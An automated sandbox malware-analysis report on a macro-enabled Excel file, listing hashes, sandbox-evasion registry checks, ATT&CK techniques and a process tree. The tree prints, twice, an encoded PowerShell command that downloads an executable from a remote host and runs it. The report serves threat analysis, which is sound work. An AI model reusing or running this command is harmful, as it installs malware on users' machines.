a3bbc94453e8f621802ffe5a68d1ae7bec3564c3cb95f8289cb063b8f61aa211

Analysis

max time kernel
169s
max time network
186s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
08/01/2024, 11:31

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General

Target

4b514645f25fe153167c832dc23588bd.xlsm
Size

42KB
MD5

4b514645f25fe153167c832dc23588bd
SHA1

ab3c02fecdfa31ba2266dc20807b0b2231f96622
SHA256

a3bbc94453e8f621802ffe5a68d1ae7bec3564c3cb95f8289cb063b8f61aa211
SHA512

d34e28e043b2f1ffc2601f81896d5c55f73b1de4da5aae02fbadb8ba605e145eeb56f45e0fd63cdc16306aec38649b19040a869780faea4bc543f152aa805bc3
SSDEEP

768:UT6fbfxpQrZN0DGCfkyX3eks4pSGn0Qic3qd4kMdGzgmJHvJzBn8:Y6VoGzfPeUv022HnZJP958

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	1800	cmd.exe	90

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1960	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4248	powershell.exe
4248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4248	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1960	EXCEL.EXE
1960	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 4248	4748	cmd.exe	101
PID 4748 wrote to memory of 4248	4748	cmd.exe	101

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b514645f25fe153167c832dc23588bd.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1960

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBlAHIAeQBhAG4AagBlAGsALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABpAHMAYQBtAGIAaQBnAHUAYQB0AGUALwBuAG8AbgBlAHEAdQBpAHYAYQBsAGUAbgB0AC8AZABpAHQAcgBpAGcAbwBuAGEAbAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQAKACQAbQBlAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAAoAJAByAGUAcQAuAEMAbwBwAHkAVABvACgAJABtAGUAbQApAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAG0AZQBtAC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAkAHIAZQBxAC4AQwBsAG8AcwBlACgAKQAKACQAbQBlAG0ALgBDAGwAbwBzAGUAKAApAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiAA=="
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBlAHIAeQBhAG4AagBlAGsALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABpAHMAYQBtAGIAaQBnAHUAYQB0AGUALwBuAG8AbgBlAHEAdQBpAHYAYQBsAGUAbgB0AC8AZABpAHQAcgBpAGcAbwBuAGEAbAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQAKACQAbQBlAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAAoAJAByAGUAcQAuAEMAbwBwAHkAVABvACgAJABtAGUAbQApAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAG0AZQBtAC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAkAHIAZQBxAC4AQwBsAG8AcwBlACgAKQAKACQAbQBlAG0ALgBDAGwAbwBzAGUAKAApAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyxktu2v.kps.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1960-29-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-17-0x00007FF931C40000-0x00007FF931C50000-memory.dmp

Filesize
64KB

Download
memory/1960-4-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-5-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-6-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-8-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-9-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-10-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-7-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-11-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-12-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-2-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-13-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-14-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-15-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-16-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-0-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-24-0x00007FF931C40000-0x00007FF931C50000-memory.dmp

Filesize
64KB

Download
memory/1960-3-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-28-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-1-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-95-0x0000022A09010000-0x0000022A09810000-memory.dmp

Filesize
8.0MB

Download
memory/1960-3759-0x0000022A09010000-0x0000022A09810000-memory.dmp

Filesize
8.0MB

Download
memory/1960-30-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-3923-0x00007FF974410000-0x00007FF974605000-memory.dmp

Filesize
2.0MB

Download
memory/1960-3922-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-3921-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-3920-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/1960-3919-0x00007FF934490000-0x00007FF9344A0000-memory.dmp

Filesize
64KB

Download
memory/4248-3907-0x0000023DF7EF0000-0x0000023DF7F00000-memory.dmp

Filesize
64KB

Download
memory/4248-3908-0x0000023DF7EF0000-0x0000023DF7F00000-memory.dmp

Filesize
64KB

Download
memory/4248-3906-0x0000023DF7EF0000-0x0000023DF7F00000-memory.dmp

Filesize
64KB

Download
memory/4248-3905-0x00007FF948AC0000-0x00007FF949581000-memory.dmp

Filesize
10.8MB

Download
memory/4248-3902-0x0000023DF7EC0000-0x0000023DF7EE2000-memory.dmp

Filesize
136KB

Download
memory/4248-3924-0x0000023DF7EF0000-0x0000023DF7F00000-memory.dmp

Filesize
64KB

Download
memory/4248-3925-0x00007FF948AC0000-0x00007FF949581000-memory.dmp

Filesize
10.8MB

Download
memory/4248-3926-0x0000023DF7EF0000-0x0000023DF7F00000-memory.dmp

Filesize
64KB

Download
memory/4248-3927-0x0000023DF7EF0000-0x0000023DF7F00000-memory.dmp

Filesize
64KB

Download
memory/4248-3930-0x00007FF948AC0000-0x00007FF949581000-memory.dmp

Filesize
10.8MB

Download